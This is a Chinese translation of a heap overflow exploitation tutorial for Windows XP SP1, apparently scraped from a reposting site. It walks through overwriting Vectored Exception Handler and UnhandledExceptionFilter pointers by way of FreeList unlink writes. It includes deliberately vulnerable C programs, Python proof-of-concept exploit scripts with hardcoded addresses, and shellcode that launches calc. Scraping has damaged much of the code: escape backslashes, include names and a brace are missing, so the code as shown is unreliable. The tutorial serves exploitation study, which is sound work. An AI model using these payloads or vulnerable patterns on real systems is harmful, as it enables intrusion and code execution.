admin 管理员组文章数量: 887021
2024年2月7日发(作者:获取iframe)
Windows平台下的堆溢出利用技术
作者:mr_me
译者:riusksk(泉哥:)
前言
在栈溢出中我们一般都是通过控制指令指针EIP,或者覆盖SEH来实现溢出利用的,而在本文即将讲到及测试所使用的利用技术中,并没有直接运用到覆盖EIP或者SEH。我们将通过覆盖一可控制的内存地址,进而实现任意的DWORD覆写。如果你对栈溢出的认识还没有达到中/高等水平,那么我建议你先集中精力去学习一下。本文所讲述的利用技术均是些年过已久的旧技术,如果你有什么新的利用技术,记得分享一下。阅读本文前你需要具备以下条件:
● Windows XP SP1;
● 调试器(Olly Debugger, Immunity Debugger, windbg等等);
● C/C++ 编译器(Dev C++, lcc-32, MS visual C++ 6.0);
● 脚本语言执行环境(本文使用python,你也可以使用perl);
● 大脑;
● 具备汇编和C语言知识,并懂得如何用调试器去调试它们;
● Olly Debugger插件HideDbg,或者Immunity Debugger的!hidedebug命令插件;
● 时间。
我们在本文主要注重于基础知识,这些技术可能因有些过时而未在“现实世界”中使用,但有一点你必须记住,如果你想提高技术,就必须知晓过去,并取其所长来为己所用!
堆的定义及其在XP下的工作原理
堆是进程用于存储数据的场所,每一进程均可动态地分配和释放程序所需的堆内存,同时允许全局访问。需要指出的是,栈是向0x00000000生长的,而堆是向0xFFFFFFFF生长的。这意味着如果某进程连续两次调用HeapAllocate()函数,那么第二次调用函数返回的指针所指向的内存地址会比第一次的高,因此第一块堆溢出后将会溢出至第二块堆内存。
对于每一进程,无论是默认进程堆,还是动态分配的堆都含有多个数据结构。其中一个数据结构是一个包含128个LIST_ENTRY结构的数组,用于追踪空闲块,即众所周知的空闲链表FreeList。每一个LIST_ENTRY结构都包含有两个指针,这一数组可在偏移HEAP结构0x178字节的位置找到。当一个堆被创建时,这两个指针均指向头一空闲块,并设置在空表索引项FreeList[0]中,用于将空闲堆块组织成双向链表。
我们假设存在一个堆,它的基址为0x00650000,第一个可用块位于0x00650688,接下来我们另外假设以下4个地址:
1. 地址0×00650178 (Freelist[0].Flink)是一个值为0x00650688(第一个空闲堆块)的指针;
2. 地址0x006517c (FreeList[0].Blink)是一个值为0x00650688(第一个空闲堆块)的指针;
3. 地址0x00650688(第一个空闲堆块)是一个值为0×00650178 (FreeList[0])的指针;
4. 地址0x0065068c(第一个空闲堆块)是一个值为0×00650178 (FreeList[0])的指针;
当开始分配堆块时,FreeList[0].Flink和FreeList[0].Blink被重新指向下一个刚分配的空闲堆块,接着指向FreeList的两个指针则指向新分配的堆块末尾。每一个已分配堆块的指针或者空闲堆块的指针都会被更改,因此这些分配的堆块都可通过双向链表找到。当发生堆溢出导致可以控制堆数据时,利用这些指针可篡改任意dword字节数据。攻击者借此就可修改程序的控制数据,比如函数指针,进而控制进程的执行流程。
借助向量化异常处理(VEH)实现堆溢出利用
首先看下下面的heap-veh.c代码:
#include
#include
DWORD MyExceptionHandler(void);
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("");
l = LoadLibrary("");
printf("nnHeapoverflow program.n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
DWORD MyExceptionHandler(void)
{
printf("In ");
ExitProcess(1);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
__try{
hp = HeapCreate(0,0x1000,0x10000);
if(!hp){
return printf("Failed to create heap.n");
}
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8Xn",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
}
// This second call to HeapAlloc() is when we gain control
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
}
__except(MyExceptionHandler())
{
printf("");
}
return 0;
通过上面的代码,我们可以看到上面是以_try 语句来设置异常处理的。首先在windows xp sp1下用你钟情的编译器来编译以上代码,然后在命令行下运行程序,当参数超过260字节时,即可触发异常处理,如图1所示:
图1
当在调试器中运行它时,我们可以通过第二分配堆块来获取控制权(因为freelist[0]会被第一次分配的攻击字符串篡改掉),如图2所示:
图2
MOV DWORD PTR DS:[ECX],EAX
MOV DWORD PTR DS:[EAX+4],ECX
上述指令的作用是将当前EAX值作为ECX值的指针,并将ECX当前值赋予EAX下一4字节的值,借此我们可以知晓这里将unlink或者free第一次分配的内存块,即:
1、 EAX(写入的内容):Flink
2、 ECX(写入的地址):Blink
什么是向量化异常处理(VEH,Vectored Exception Handling)
VEH是在windows xp中首次发布,它将exception registration结构存储在堆上。与传统的异常处理框架不同,比如SEH将这一结构存储在栈上,而VEH是存储在堆上的,这类异常处理优先于其它类型的异常处理机制,先看下以下结构:
struct _VECTORED_EXCEPTION_NODE
{
DWORD m_pNextNode;
DWORD m_pPreviousNode;
PVOID m_pfnVectoredHandler;
}
其中m_pNextNode指向下一个_VECTORED_EXCEPION_NODE结构,因此我们必须用一个伪造的指针来覆盖指向_VECTORED_EXCEPION_NODE的指针(m_pNextNode)。但我们该如何实现呢?先来看下负责分发_VECTORED_EXCEPION_NODE的代码:
77F7F49E 8B35 1032FC77 MOV ESI,DWORD PTR DS:[77FC3210]
77F7F4A4 EB 0E JMP SHORT ntdll.77F7F4B4
77F7F4A6 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
77F7F4A9 50 PUSH EAX
77F7F4AA FF56 08 CALL DWORD PTR DS:[ESI+8]
先将 _VECTORED_EXCEPION_NODE指针赋予ESI,几句代码过后接着调用ESI+8。如果我们用shellcode -
0x08指针去覆盖下一个_VECTORED_EXCEPION_NODE指针,那么程序将执行至我们的缓冲区。那么shellcode指针在何处呢?先来看下栈情况,如图3所示:
图3
由上可知,shellcode指针位于栈中。我们可以使用硬编码值0x0012ff40。另外还记得call esi+8吗?为确保我们的shellcode能够准确地被执行,因此0x0012ff40 – 0x08 = 0x0012ff38。因此,ECX需要被设置为0x0012ff38。我们该如何查找指向一个_VECTORED_EXCEPION_NODE结构的指针m_NextNode呢?在OD或者immunity debugger中,我们可以使用shift+f7跳过异常继续执行代码。这些代码将去执行第一个_VECTORED_EXCEPION_NODE结构,比如以下代码就指出了该指针:
77F60C2C BF 1032FC77 MOV EDI,ntdll.77FC3210
77F60C31 393D 1032FC77 CMP DWORD PTR DS:[77FC3210],EDI
77F60C37 0F85 48E80100 JNZ ntdll.77F7F485
以上代码就是将m_pNextNode(我们所需要运用到的指针)赋予EDI,接着我们需要将ECX设置为该值。因此我们可以设置以下数值:
ECX = 0x77fc3210
EAX = 0x0012ff38
因此我们需要先计算出覆盖EAX和ECX所需的偏移量,这个借助MSF pattern即可实现,然后将其运用到程序中,为方便查看请看以下操作:
步骤1 – 创建msf pattern,如图4所示:
图4
步骤2 – 置入目标程序,如图5所示:
图5
步骤3 – 通过打开反调试功能并触发异常来计算偏移量,如图6、7、8所示:
图6
图7
图8
现在一个PoC exploit框架就出来了:
import os
# _vectored_exception_node
exploit = ("xcc" * 272)
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("x0cx32xfcx77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("x38xffx12") # EAX - we dont need the null byte
('"C:Documents and " ' + exploit)
现在ECX指令之后并没有shellcode,因为它含有一个NULL字节,也许你还记得我前一篇教程Debugging
an SEH 0day(/blog/?p=14),里面有讲到此问题,有兴趣的话读者可以去看下。但也并不是所有的情况都像本例一样,是使用strcpy函数将buffer数据复制到堆中。接着程序就会断在“xcc”这一软件断点上,我们只需将其替换为shellcode即可,这个shellcode字节大小必须低于272字节,因为它只有这么大的空间来存放shellcode。
# _vectored_exception_node
import os
import win32api
calc = ("xdaxcbx2bxc9xd9x74x24xf4x58xb1x32xbbxfaxcd" +
"x2dx4ax83xe8xfcx31x58x14x03x58xeex2fxd8xb6" +
"xe6x39x23x47xf6x59xadxa2xc7x4bxc9xa7x75x5c" +
"x99xeax75x17xcfx1ex0ex55xd8x11xa7xd0x3ex1f" +
"x38xd5xfexf3xfax77x83x09x2ex58xbaxc1x23x99" +
"xfbx3cxcbxcbx54x4ax79xfcxd1x0ex41xfdx35x05" +
"xf9x85x30xdax8dx3fx3ax0bx3dx4bx74xb3x36x13" +
"xa5xc2x9bx47x99x8dx90xbcx69x0cx70x8dx92x3e" +
"xbcx42xadx8ex31x9axe9x29xa9xe9x01x4ax54xea" +
"xd1x30x82x7fxc4x93x41x27x2cx25x86xbexa7x29" +
"x63xb4xe0x2dx72x19x9bx4axffx9cx4cxdbxbbxba" +
"x48x87x18xa2xc9x6dxcfxdbx0axc9xb0x79x40xf8" +
"xa5xf8x0bx97x38x88x31xdex3ax92x39x71x52xa3" +
"xb2x1ex25x3cx11x5bxd9x76x38xcax71xdfxa8x4e" +
"x1cxe0x06x8cx18x63xa3x6dxdfx7bxc6x68xa4x3b" +
"x3ax01xb5xa9x3cxb6xb6xfbx5ex59x24x67xa1x93")
exploit = ("x90" * 5)
exploit += (calc)
exploit += ("xcc" * (272-len(exploit)))
# ECX pointer to next _VECTORED_EXCEPTION_NODE = 0x77fc3210 - 0x04
# due to second MOV writes to EAX+4 == 0x77fc320c
exploit += ("x0cx32xfcx77") # ECX
# EAX ptr to shellcode located at 0012ff40 - 0x8 == 0012ff38
exploit += ("x38xffx12") # EAX - we dont need the null byte
c((' %s') % exploit, 1)
借助Unhandled Exception Filter实现堆溢出利用
Unhandler Exception Filter 是程序关闭前最后调用的一个异常处理例程,主要用于当程序崩溃时分发一些常见的消息,如“An unhandled error occurred”等。直至此时,我们已经能够控制EAX和ECX了,并
知道了覆盖两个寄存器所需的偏移量:
import os
exploit = ("xcc" * 272)
exploit += ("x41" * 4) # ECX
exploit += ("x42" * 4) # EAX
exploit += ("xcc" * 272)
('"C:Documents and " ' + exploit)
不像前面的例子,heap-uef.c不再包括自定义的异常处理。这意味着我将使用Microsoft的默认的Unhandled Exception Filter。下面就是heap-uef.c文件代码:
#include
#include
int foo(char *buf);
int main(int argc, char *argv[])
{
HMODULE l;
l = LoadLibrary("");
l = LoadLibrary("");
printf("nnHeapoverflow program.n");
if(argc != 2)
return printf("ARGS!");
foo(argv[1]);
return 0;
}
int foo(char *buf)
{
HLOCAL h1 = 0, h2 = 0;
HANDLE hp;
hp = HeapCreate(0,0x1000,0x10000);
if(!hp)
return printf("Failed to create heap.n");
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("HEAP: %.8X %.8Xn",h1,&h1);
// Heap Overflow occurs here:
strcpy(h1,buf);
// We gain control of this second call to HeapAlloc
h2 = HeapAlloc(hp,HEAP_ZERO_MEMORY,260);
printf("hello");
return 0;
}
当调试这类溢出时,应当在Olly或者Immunity Debugger下打开反调试功能,以便Exception Filter能够被调用,并保证上面的寄存器偏移地址是正确的。首先,我们应该先确定将写入数据的地址,它必须是指向Unhandled Exception Filter的指针,这个可通过查看SetUnhandledExceptionFilter()的代码来定位,如图9所示:
图9
找到后我们可以再找到一个使用UnhandledExceptionFilter指针(0x77ed73b4)的MOV指令,如图10所示:
图10
由上我们可以确切地说ECX将包含值0x77c3bbad,但我们需要向其写入什么内容呢?先来看下调用UnhandledExceptionFilter后的情况:
77E93114 A1 B473ED77 MOV EAX,DWORD PTR DS:[77ED73B4]
77E93119 3BC6 CMP EAX,ESI
77E9311B 74 15 JE SHORT kernel32.77E93132
77E9311D 57 PUSH EDI
77E9311E FFD0 CALL EAX
从整体来看,UnhandledExceptionFilter指针被赋予到EAX中,并将EDI压入栈中,然后调用EAX来执行。
与Vectored Exception Handling类似,我们依然可以覆写指针值。让该指针指向我们的shellcode,或者一个可以帮助我们跳入shellcode的指令。如果我们再看下EDI,将会发现在偏移payload末尾0x78字节之后还存在一个指针,如图11所示:
图11
如果我们简单地调用此指针,也可执行shellcode。因此我们需要像下面这样的一条指令:
call dword ptr ds:[edi+74]
这个在XP sp1下的一些MS模块中即可找到,如图12所示:
图12
然后用这些值来修改PoC,最后得到:
import os
exploit = ("xcc" * 272)
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("xcc" * 272)
('"C:Documents and "
' + exploit)
执行后结果如图13所示:
图13
然后我们简单地计算出相对此上面这一地址的偏移量,然后插入JMP指令和shellcode:
import os
calc = ("x33xC0x50x68x63x61x6Cx63x54x5Bx50x53xB9"
"x44x80xc2x77" # address to WinExec()
"xFFxD1x90x90")
exploit = ("x44" * 264)
exploit += "xebx14" # our JMP (over the junk and into nops)
exploit += ("x44" * 6)
exploit += ("xadxbbxc3x77") # ECX 0x77C3BBAD --> call dword ptr ds:[EDI+74]
exploit += ("xb4x73xedx77") # EAX 0x77ED73B4 --> UnhandledExceptionFilter()
exploit += ("x90" * 21)
exploit += calc
(' ' + exploit)
如图14所示:
图14
执行后成功弹出计算器,如图15所示:
图15
结论
本文演示了在XPsp1下利用unlink()的最原始的两种方法,除此之外,还可以利用RtlEnterCriticalSection或者TEB Exception Handlers。在后续的文章中笔者将进一步讨论在Windows XP sp2 和sp3下利用Unlink()(HeapAlloc/HeapFree) 的技术,以及如何绕过windows平台下的堆溢出保护机制。
版权声明:本文标题:windows平台下的堆溢出利用技术 内容由网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:http://www.freenas.com.cn/free/1707283317h513610.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论